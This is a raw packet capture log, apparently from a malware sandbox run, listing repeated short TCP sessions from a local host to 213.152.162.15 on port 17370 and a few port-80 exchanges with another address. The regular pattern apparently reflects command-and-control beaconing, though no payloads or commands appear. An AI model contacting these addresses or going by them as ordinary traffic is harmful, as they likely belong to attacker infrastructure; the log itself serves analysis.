Oct 8, 2024 02:39:28.207752943 CEST	64018	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:28.212891102 CEST	17370	64018	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:28.212984085 CEST	64018	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:28.235471964 CEST	64018	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:28.240391016 CEST	17370	64018	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:28.240472078 CEST	64018	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:28.245336056 CEST	17370	64018	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:28.942846060 CEST	17370	64018	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:28.943089008 CEST	64018	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:28.944174051 CEST	64018	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:28.949053049 CEST	17370	64018	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:29.071515083 CEST	64019	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:29.076766014 CEST	17370	64019	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:29.076992035 CEST	64019	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:29.436613083 CEST	64019	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:29.441749096 CEST	17370	64019	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:29.441966057 CEST	64019	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:29.446922064 CEST	17370	64019	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:29.820919991 CEST	17370	64019	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:29.821115971 CEST	64019	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:29.821204901 CEST	64019	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:29.826078892 CEST	17370	64019	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:29.926522970 CEST	64020	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:29.931530952 CEST	17370	64020	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:29.931647062 CEST	64020	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:29.974296093 CEST	64020	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:29.979269028 CEST	17370	64020	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:29.979427099 CEST	64020	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:29.984339952 CEST	17370	64020	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:30.683794975 CEST	17370	64020	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:30.683885098 CEST	64020	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:30.684005976 CEST	64020	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:30.688918114 CEST	17370	64020	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:30.801446915 CEST	64021	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:30.806535959 CEST	17370	64021	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:30.806623936 CEST	64021	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:30.818156004 CEST	64021	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:30.823076010 CEST	17370	64021	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:30.823193073 CEST	64021	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:30.828054905 CEST	17370	64021	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:31.548053026 CEST	17370	64021	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:31.550898075 CEST	64021	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:31.551029921 CEST	64021	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:31.555943012 CEST	17370	64021	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:31.661000013 CEST	64022	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:31.666002989 CEST	17370	64022	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:31.666915894 CEST	64022	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:31.681678057 CEST	64022	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:31.687225103 CEST	17370	64022	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:31.690896034 CEST	64022	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:31.695785046 CEST	17370	64022	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:32.598637104 CEST	17370	64022	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:32.598768950 CEST	64022	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:32.598905087 CEST	64022	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:32.603879929 CEST	17370	64022	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:32.707818985 CEST	64023	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:32.712836027 CEST	17370	64023	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:32.713121891 CEST	64023	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:32.724148989 CEST	64023	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:32.729055882 CEST	17370	64023	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:32.729269028 CEST	64023	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:32.735019922 CEST	17370	64023	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:33.448555946 CEST	17370	64023	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:33.448692083 CEST	64023	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:33.448792934 CEST	64023	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:33.453826904 CEST	17370	64023	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:33.551479101 CEST	64024	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:33.556847095 CEST	17370	64024	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:33.556989908 CEST	64024	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:33.582428932 CEST	64024	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:33.587630987 CEST	17370	64024	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:33.720191002 CEST	64024	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:33.725440979 CEST	17370	64024	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:34.286312103 CEST	17370	64024	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:34.286433935 CEST	64024	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:34.286521912 CEST	64024	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:34.291799068 CEST	17370	64024	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:34.395468950 CEST	64025	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:34.400835991 CEST	17370	64025	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:34.400938034 CEST	64025	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:34.431193113 CEST	64025	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:34.436537981 CEST	17370	64025	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:34.436666012 CEST	64025	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:34.441905022 CEST	17370	64025	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:35.117851019 CEST	17370	64025	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:35.118168116 CEST	64025	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:35.118482113 CEST	64025	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:35.123423100 CEST	17370	64025	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:35.239197016 CEST	64026	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:35.244494915 CEST	17370	64026	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:35.244699955 CEST	64026	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:35.255886078 CEST	64026	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:35.261080027 CEST	17370	64026	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:35.261197090 CEST	64026	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:35.266138077 CEST	17370	64026	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:36.010377884 CEST	17370	64026	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:36.010601044 CEST	64026	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:36.011253119 CEST	64026	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:36.016170979 CEST	17370	64026	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:36.129650116 CEST	64027	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:36.134968996 CEST	17370	64027	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:36.135171890 CEST	64027	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:36.147439957 CEST	64027	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:36.152410030 CEST	17370	64027	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:36.152507067 CEST	64027	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:36.157504082 CEST	17370	64027	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:36.871226072 CEST	17370	64027	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:36.871406078 CEST	64027	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:36.872937918 CEST	64027	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:36.877777100 CEST	17370	64027	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:36.989032984 CEST	64028	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:36.994298935 CEST	17370	64028	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:36.994385004 CEST	64028	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:37.032253027 CEST	64028	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:37.037600040 CEST	17370	64028	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:37.037658930 CEST	64028	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:37.043334961 CEST	17370	64028	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:37.714840889 CEST	17370	64028	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:37.715013981 CEST	64028	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:37.715150118 CEST	64028	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:37.720952034 CEST	17370	64028	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:37.833066940 CEST	64029	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:37.838310957 CEST	17370	64029	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:37.838437080 CEST	64029	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:37.850629091 CEST	64029	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:37.855609894 CEST	17370	64029	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:37.855685949 CEST	64029	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:37.860547066 CEST	17370	64029	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:38.547768116 CEST	17370	64029	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:38.547969103 CEST	64029	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:38.548089027 CEST	64029	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:38.552985907 CEST	17370	64029	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:38.660995007 CEST	64030	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:38.666464090 CEST	17370	64030	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:38.666543007 CEST	64030	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:38.692589045 CEST	64030	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:38.697748899 CEST	17370	64030	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:38.697812080 CEST	64030	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:38.703799009 CEST	17370	64030	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:39.411133051 CEST	17370	64030	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:39.411223888 CEST	64030	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:39.411348104 CEST	64030	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:39.416209936 CEST	17370	64030	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:39.520265102 CEST	64031	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:39.525676012 CEST	17370	64031	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:39.525754929 CEST	64031	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:39.537919998 CEST	64031	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:39.542879105 CEST	17370	64031	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:39.542956114 CEST	64031	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:39.547828913 CEST	17370	64031	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:40.408943892 CEST	17370	64031	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:40.409008980 CEST	64031	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:40.409152031 CEST	64031	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:40.413957119 CEST	17370	64031	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:40.520358086 CEST	64032	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:40.525788069 CEST	17370	64032	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:40.525985956 CEST	64032	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:40.537522078 CEST	64032	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:40.543346882 CEST	17370	64032	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:40.543452978 CEST	64032	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:40.548460960 CEST	17370	64032	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:41.253961086 CEST	17370	64032	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:41.254115105 CEST	64032	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:41.254587889 CEST	64032	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:41.259427071 CEST	17370	64032	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:41.364228964 CEST	64033	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:41.369462013 CEST	17370	64033	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:41.369573116 CEST	64033	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:41.381311893 CEST	64033	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:41.386226892 CEST	17370	64033	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:41.386276960 CEST	64033	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:41.391707897 CEST	17370	64033	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:42.074771881 CEST	17370	64033	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:42.074853897 CEST	64033	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:42.074965954 CEST	64033	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:42.079834938 CEST	17370	64033	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:42.192169905 CEST	64034	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:42.197396994 CEST	17370	64034	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:42.202995062 CEST	64034	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:42.221986055 CEST	64034	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:42.227147102 CEST	17370	64034	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:42.229990005 CEST	64034	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:42.234961033 CEST	17370	64034	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:42.926495075 CEST	17370	64034	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:42.930984020 CEST	64034	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:42.931116104 CEST	64034	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:42.936502934 CEST	17370	64034	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:43.036145926 CEST	64035	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:43.041713953 CEST	17370	64035	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:43.041795969 CEST	64035	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:43.058556080 CEST	64035	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:43.063771963 CEST	17370	64035	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:43.063837051 CEST	64035	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:43.068849087 CEST	17370	64035	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:43.774343014 CEST	17370	64035	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:43.774586916 CEST	64035	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:43.774980068 CEST	64035	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:43.779849052 CEST	17370	64035	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:43.895328045 CEST	64036	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:43.900582075 CEST	17370	64036	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:43.900684118 CEST	64036	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:43.910532951 CEST	64036	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:44.124226093 CEST	17370	64036	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:44.124355078 CEST	64036	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:44.129285097 CEST	17370	64036	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:44.829642057 CEST	17370	64036	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:44.829776049 CEST	64036	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:44.830351114 CEST	64036	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:44.835294962 CEST	17370	64036	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:44.942447901 CEST	64037	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:44.948066950 CEST	17370	64037	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:44.948283911 CEST	64037	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:44.975378990 CEST	64037	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:44.980726957 CEST	17370	64037	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:44.980916023 CEST	64037	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:44.985882998 CEST	17370	64037	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:45.903868914 CEST	17370	64037	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:45.904191017 CEST	64037	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:45.904191017 CEST	64037	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:45.909348965 CEST	17370	64037	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:46.020468950 CEST	64038	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:46.026112080 CEST	17370	64038	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:46.026217937 CEST	64038	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:46.058079004 CEST	64038	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:46.063563108 CEST	17370	64038	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:46.063632011 CEST	64038	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:46.068568945 CEST	17370	64038	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:46.742129087 CEST	17370	64038	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:46.742225885 CEST	64038	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:46.742333889 CEST	64038	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:46.747276068 CEST	17370	64038	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:46.848404884 CEST	64039	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:46.856641054 CEST	17370	64039	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:46.856816053 CEST	64039	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:46.872037888 CEST	64039	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:46.876949072 CEST	17370	64039	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:46.877017975 CEST	64039	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:46.882023096 CEST	17370	64039	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:47.679265022 CEST	17370	64039	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:47.681109905 CEST	64039	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:47.681193113 CEST	64039	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:47.686187029 CEST	17370	64039	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:47.786030054 CEST	64040	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:47.791331053 CEST	17370	64040	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:47.795129061 CEST	64040	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:47.805151939 CEST	64040	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:47.810115099 CEST	17370	64040	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:47.813153028 CEST	64040	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:47.818223953 CEST	17370	64040	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:48.509017944 CEST	17370	64040	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:48.509237051 CEST	64040	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:48.509551048 CEST	64040	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:48.514554024 CEST	17370	64040	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:48.614145041 CEST	64041	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:48.619436979 CEST	17370	64041	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:48.619535923 CEST	64041	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:48.630316019 CEST	64041	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:48.635308027 CEST	17370	64041	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:48.635373116 CEST	64041	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:48.640237093 CEST	17370	64041	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:48.935471058 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:39:48.940691948 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:39:49.060581923 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:39:49.113924980 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:39:49.338402987 CEST	17370	64041	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:49.338640928 CEST	64041	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:49.338860035 CEST	64041	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:49.343655109 CEST	17370	64041	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:49.457869053 CEST	64042	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:49.465729952 CEST	17370	64042	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:49.465821981 CEST	64042	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:49.483230114 CEST	64042	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:49.490950108 CEST	17370	64042	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:49.491117001 CEST	64042	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:49.498712063 CEST	17370	64042	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:50.175292969 CEST	17370	64042	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:50.175487995 CEST	64042	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:50.175518036 CEST	64042	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:50.180744886 CEST	17370	64042	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:50.286124945 CEST	64043	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:50.291950941 CEST	17370	64043	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:50.292152882 CEST	64043	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:50.302392006 CEST	64043	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:50.307585955 CEST	17370	64043	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:50.307775974 CEST	64043	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:50.312693119 CEST	17370	64043	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:50.586103916 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:39:50.591641903 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:39:50.688721895 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:39:50.801434994 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:39:51.012510061 CEST	17370	64043	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:51.012754917 CEST	64043	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:51.012754917 CEST	64043	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:51.017798901 CEST	17370	64043	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:51.129761934 CEST	64044	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:51.135474920 CEST	17370	64044	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:51.135637999 CEST	64044	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:51.156878948 CEST	64044	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:51.162123919 CEST	17370	64044	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:51.162303925 CEST	64044	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:51.167546034 CEST	17370	64044	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:51.869137049 CEST	17370	64044	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:51.869322062 CEST	64044	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:51.869371891 CEST	64044	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:51.874404907 CEST	17370	64044	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:51.973604918 CEST	64045	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:51.978816032 CEST	17370	64045	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:51.978924036 CEST	64045	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:51.988384962 CEST	64045	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:51.993288040 CEST	17370	64045	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:51.993350029 CEST	64045	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:51.998281002 CEST	17370	64045	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:52.699142933 CEST	17370	64045	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:52.699376106 CEST	64045	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:52.699376106 CEST	64045	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:52.704277992 CEST	17370	64045	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:52.801747084 CEST	64046	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:52.806689978 CEST	17370	64046	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:52.806787014 CEST	64046	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:52.820260048 CEST	64046	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:52.825102091 CEST	17370	64046	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:52.825175047 CEST	64046	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:52.829919100 CEST	17370	64046	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:53.548909903 CEST	17370	64046	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:53.551103115 CEST	64046	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:53.551215887 CEST	64046	17370	192.168.2.4	213.152.162.15
